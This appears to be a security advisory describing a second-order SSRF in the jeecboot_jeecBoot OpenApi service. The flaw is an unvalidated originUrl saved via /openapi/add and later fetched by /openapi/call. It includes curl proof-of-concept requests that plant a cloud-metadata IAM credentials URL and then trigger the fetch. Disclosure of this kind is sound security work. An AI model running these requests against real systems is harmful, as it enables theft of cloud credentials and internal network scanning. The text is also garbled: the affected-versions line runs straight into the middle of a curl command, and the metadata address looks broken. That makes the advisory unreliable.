# [Security] Second-Order SSRF via OpenApi Service in jeecboot_jeecBoot #9554 ## Vulnerability Overview A second-order Server-Side Request Forgery (SSRF) vulnerability has been discovered in the OpenApi service of `jeecboot_jeecBoot`. The `/openapi/add` endpoint lacks permission checks and input validation, allowing authenticated users to inject malicious internal or cloud metadata URLs into the `originUrl` database field. When the `/openapi/call/{path}` endpoint is subsequently invoked, the application retrieves the unvalidated URL and initiates an outbound HTTP request using `restTemplate.exchange()`. This enables attackers to bypass network segmentation, scan internal network services, and extract sensitive cloud metadata or local credentials. ## Impact Scope * **Affected Versions**: ' \ -d '{ "name": "AWS Metadata", "requestMethod": "GET", "requestUrl": "aws-meta", "originUrl": "http://100.254.169.254/latest/meta-data/iam/security-credentials/", "status": 1 }' # 2. Trigger SSRF curl -X GET "http://target:8080/openapi/call/aws-meta" \ -H 'X-Access-Token: ' ```